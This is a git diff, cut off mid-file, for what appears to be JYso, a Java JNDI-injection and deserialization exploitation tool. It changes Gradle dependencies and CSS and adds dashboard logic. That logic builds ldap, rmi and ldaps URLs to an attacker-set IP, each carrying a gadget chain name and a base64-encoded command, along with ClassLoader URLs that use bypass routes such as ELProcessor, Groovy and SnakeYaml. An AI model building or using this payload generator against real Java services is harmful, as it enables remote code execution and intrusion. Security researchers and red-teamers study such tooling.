diff --git a/build.gradle b/build.gradle index 67f75ff..96c6c62 100644 --- a/build.gradle +++ b/build.gradle @@ -1,12 +1,8 @@ -import com.github.jengelman.gradle.plugins.shadow.transformers.AppendingTransformer - plugins { id 'java' id 'java-library' id 'maven-publish' id 'com.github.johnrengelman.shadow' version '7.1.2' - id 'org.springframework.boot' version '2.7.18' - id 'io.spring.dependency-management' version '1.1.7' } repositories { @@ -20,15 +16,6 @@ repositories { } } -bootJar { - enabled = false - mainClass = 'com.qi4l.JYso.Starter' -} - -springBoot { - mainClass = 'com.qi4l.JYso.Starter' -} - jar { enabled = true } @@ -36,14 +23,7 @@ jar { shadowJar { archiveClassifier = '' zip64 = true - // minimize() // disabled: too many reflection-based libs get broken mergeServiceFiles() - transform(AppendingTransformer) { - resource = 'META-INF/spring.factories' - } - transform(AppendingTransformer) { - resource = 'META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports' - } manifest { attributes 'Main-Class': 'com.qi4l.JYso.Starter' } @@ -84,14 +64,13 @@ dependencies { implementation 'org.apache.commons:commons-text:1.8' implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0' implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9' - implementation 'org.apache.tomcat.embed:tomcat-embed-core' + implementation 'org.apache.tomcat:tomcat-catalina:9.0.83' implementation 'org.apache.tomcat:tomcat-websocket:9.0.83' implementation 'org.apache.wicket:wicket-util:6.23.0' implementation 'org.aspectj:aspectjweaver:1.9.7' implementation 'org.beanshell:bsh:2.0b5' implementation 'org.clojure:clojure:1.8.0' implementation 'org.codehaus.groovy:groovy:2.5.23' - implementation 'org.eclipse.jetty:jetty-ant:11.0.7' implementation 'org.fusesource.jansi:jansi:2.4.0' implementation 'org.glassfish.tyrus:tyrus-server:2.0.0' implementation 'org.hibernate:hibernate-core:4.3.11.Final' @@ -106,13 +85,13 @@ dependencies { implementation 'org.ow2.asm:asm:8.0.1' implementation 'org.python:jython-standalone:2.5.2' implementation 'org.reflections:reflections:0.9.10' - implementation 'org.springframework:spring-aop' - implementation 'org.springframework:spring-beans' - implementation 'org.springframework:spring-context-support' - implementation 'org.springframework:spring-core' - implementation 'org.springframework:spring-jdbc' - implementation 'org.springframework:spring-oxm' - implementation 'org.springframework:spring-tx' + implementation 'org.springframework:spring-aop:5.3.31' + implementation 'org.springframework:spring-beans:5.3.31' + implementation 'org.springframework:spring-context-support:5.3.31' + implementation 'org.springframework:spring-core:5.3.31' + implementation 'org.springframework:spring-jdbc:5.3.31' + implementation 'org.springframework:spring-oxm:5.3.31' + implementation 'org.springframework:spring-tx:5.3.31' implementation 'rhino:js:1.7R2' implementation 'rome:rome:1.0' implementation 'xerces:xercesImpl:2.12.0' @@ -146,17 +125,10 @@ dependencies { implementation 'commons-beanutils:commons-beanutils:1.9.4' - implementation('org.springframework.boot:spring-boot-starter-web') { - exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging' - exclude group: 'ch.qos.logback' - } - implementation('org.springframework.boot:spring-boot-starter-security') { - exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging' - exclude group: 'ch.qos.logback' - } + implementation 'org.eclipse.jetty:jetty-server:9.4.51.v20230217' + implementation 'org.eclipse.jetty:jetty-servlet:9.4.51.v20230217' + implementation 'org.eclipse.jetty:jetty-util:9.4.51.v20230217' - runtimeOnly libs.org.aspectj.aspectjweaver - compileOnly libs.org.apache.tomcat.tomcat.websocket } diff --git a/src/main/frontend/src/index.css b/src/main/frontend/src/index.css index 94976ae..2f5cc79 100644 --- a/src/main/frontend/src/index.css +++ b/src/main/frontend/src/index.css @@ -512,6 +512,7 @@ code, pre, .mono { padding: 3px; gap: 2px; transition: background var(--transition-fluid), border-color var(--transition-fluid); + min-width: 260px; } .tab-segment-control::before { @@ -535,7 +536,8 @@ code, pre, .mono { .tab-segment-btn { position: relative; z-index: 1; - padding: 6px 20px; + flex: 1; + padding: 6px 12px; border: none; border-radius: 9px; background: transparent; @@ -548,6 +550,7 @@ code, pre, .mono { white-space: nowrap; letter-spacing: -0.2px; -webkit-tap-highlight-color: transparent; + text-align: center; } .tab-segment-btn:active { @@ -584,6 +587,27 @@ code, pre, .mono { .config-form .btn { grid-column: span 2; margin-top: 14px; } +.gadget-dropdown { + position: absolute; + top: 100%; + left: 0; + right: 0; + z-index: 50; + background: var(--card-bg); + backdrop-filter: blur(24px) saturate(180%); + -webkit-backdrop-filter: blur(24px) saturate(180%); + border: 1px solid var(--border-color); + border-radius: 12px; + box-shadow: var(--card-shadow-lg); + overflow: hidden; + animation: dropdownSlideIn 180ms cubic-bezier(0.22, 0.1, 0, 1) both; +} + +@keyframes dropdownSlideIn { + from { opacity: 0; transform: translateY(-4px) scale(0.985); } + to { opacity: 1; transform: translateY(0) scale(1); } +} + .gadget-list { max-height: 280px; overflow-y: auto; @@ -643,11 +667,6 @@ label.form-group { cursor: pointer; } -.pill-sun, .pill-moon { - font-size: 15px; - line-height: 1; -} - @media (max-width: 768px) { .page-shell { padding: 48px 16px 32px; } .grid-2 { grid-template-columns: 1fr; } diff --git a/src/main/frontend/src/pages/Dashboard.jsx b/src/main/frontend/src/pages/Dashboard.jsx index 9f89c88..a20839c 100644 --- a/src/main/frontend/src/pages/Dashboard.jsx +++ b/src/main/frontend/src/pages/Dashboard.jsx @@ -15,11 +15,28 @@ export default function Dashboard() { const [loading, setLoading] = useState(false) const [msg, setMsg] = useState({ success: '', error: '' }) const [toggling, setToggling] = useState(null) + const [activeJndiTab, setActiveJndiTab] = useState('config') const [gadgets, setGadgets] = useState([]) const [gadgetSearch, setGadgetSearch] = useState('') const [selectedGadget, setSelectedGadget] = useState('') const [payloadCmd, setPayloadCmd] = useState('') const [payloadResult, setPayloadResult] = useState('') + const [payloadSubTab, setPayloadSubTab] = useState('gadget') + const [gadgetOpen, setGadgetOpen] = useState(false) + const [jndiPayloadResult, setJndiPayloadResult] = useState('') + const [rmiPayloadResult, setRmiPayloadResult] = useState('') + const [ldapsPayloadResult, setLdapsPayloadResult] = useState('') + const [jndiGadgetInput, setJndiGadgetInput] = useState('') + const [gadgetModeInput, setGadgetModeInput] = useState('') + const [saveFilename, setSaveFilename] = useState('') + const [filePath, setFilePath] = useState('') + const [classLoaderResult, setClassLoaderResult] = useState('') + const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('') + const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('') + const [routing, setRouting] = useState('ELProcessor') + const [routingOpen, setRoutingOpen] = useState(false) + + const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE'] const [configForm, setConfigForm] = useState({ ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099, @@ -98,10 +115,12 @@ export default function Dashboard() { } async function handleGeneratePayload() { + const gadgetName = (gadgetModeInput || selectedGadget || '').trim() + if (!gadgetName) return setLoading(true) setMsg({ success: '', error: '' }) try { - const res = await apiGenerate({ gadget: selectedGadget, command: payloadCmd }) + const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename }) if (res.data.success) { setPayloadResult(res.data.message || 'Payload generated successfully') setMsg({ success: 'Payload generated', error: '' }) @@ -114,6 +133,68 @@ export default function Dashboard() { } finally { setLoading(false) } } + function handleGenerateJndiPayload() { + const gadgetName = (jndiGadgetInput || selectedGadget || '').trim() + if (!gadgetName || !payloadCmd) return + setLoading(true) + setMsg({ success: '', error: '' }) + setJndiPayloadResult('') + setRmiPayloadResult('') + setLdapsPayloadResult('') + try { + const bytes = new TextEncoder().encode(payloadCmd) + const cmdB64 = btoa(String.fromCharCode.apply(null, bytes)) + const ipAddr = configForm.ip || '0.0.0.0' + const ldapPort = configForm.ldapPort || 1389 + const rmiPort = configForm.rmiPort || 1099 + const ldapsPort = configForm.ldapsPort || 1669 + + const ldapUrl = `ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}` + const rmiUrl = `rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}` + const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}` + + setJndiPayloadResult(ldapUrl) + setRmiPayloadResult(rmiUrl) + setLdapsPayloadResult(ldapsUrl) + setMsg({ success: 'Payload URLs generated', error: '' }) + } catch (e) { + setMsg({ success: '', error: 'Failed to generate URL' }) + } finally { setLoading(false) } + } + + function handleGenerateClassLoader() { + const fp = filePath.trim() + const route = routing.trim() + if (!fp || !route) return + setLoading(true) + setMsg({ success: '', error: '' }) + setClassLoaderResult('') + setRmiClassLoaderResult('') + setLdapsClassLoaderResult('') + if (!fp.toLowerCase().endsWith('.class')) { + setMsg({ success: '', error: 'File path must end with .class' }) + setLoading(false) + return + } + try { + const ipAddr = configForm.ip || '0.0.0.0' + const ldapPort = configForm.ldapPort || 1389 + const rmiPort = configForm.rmiPort || 1099 + const ldapsPort = configForm.ldapsPort || 1669 + + const ldapUrl = `ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}` + const rmiUrl = `rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}` + const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}` + + setClassLoaderResult(ldapUrl) + setRmiClassLoaderResult(rmiUrl) + setLdapsClassLoaderResult(ldapsUrl) + setMsg({ success: 'ClassLoader URLs generated', error: '' }) + } catch (e) { + setMsg({ success: '', error: 'Failed to generate URL' }) + } finally { setLoading(false) } + } + function logout() { setAuthToken(null) navigate('/login', { replace: true }) @@ -152,14 +233,7 @@ export default function Dashboard() { onClick={toggleTheme} aria-label={theme === 'light' ? 'Switch to dark mode' : 'Switch to light mode'} title={theme === 'light' ? 'Dark mode' : 'Light mode'} - > - - ☀️ - - - 🌙 - - + /> @@ -218,8 +292,26 @@ export default function Dashboard() {
-

Config

-
+
+
+ + +
+
+ + {activeJndiTab === 'config' && ( +
+
+
+ )} + + {activeJndiTab === 'payload' && ( +
+
+
+ + +
+
+ + {payloadSubTab === 'gadget' && ( +
+
+
+ + setGadgetOpen(true)} + onBlur={() => setTimeout(() => setGadgetOpen(false), 150)} + onChange={e => { setJndiGadgetInput(e.target.value); setGadgetSearch(e.target.value); }} + style={{ cursor: 'text' }} + /> +
+ {gadgetOpen && ( +
+
+ {filteredGadgets.map(g => ( +
{ e.preventDefault(); setSelectedGadget(g.name); setJndiGadgetInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}> + {g.name} +
+ ))} +
+
+ )} +
+
+ +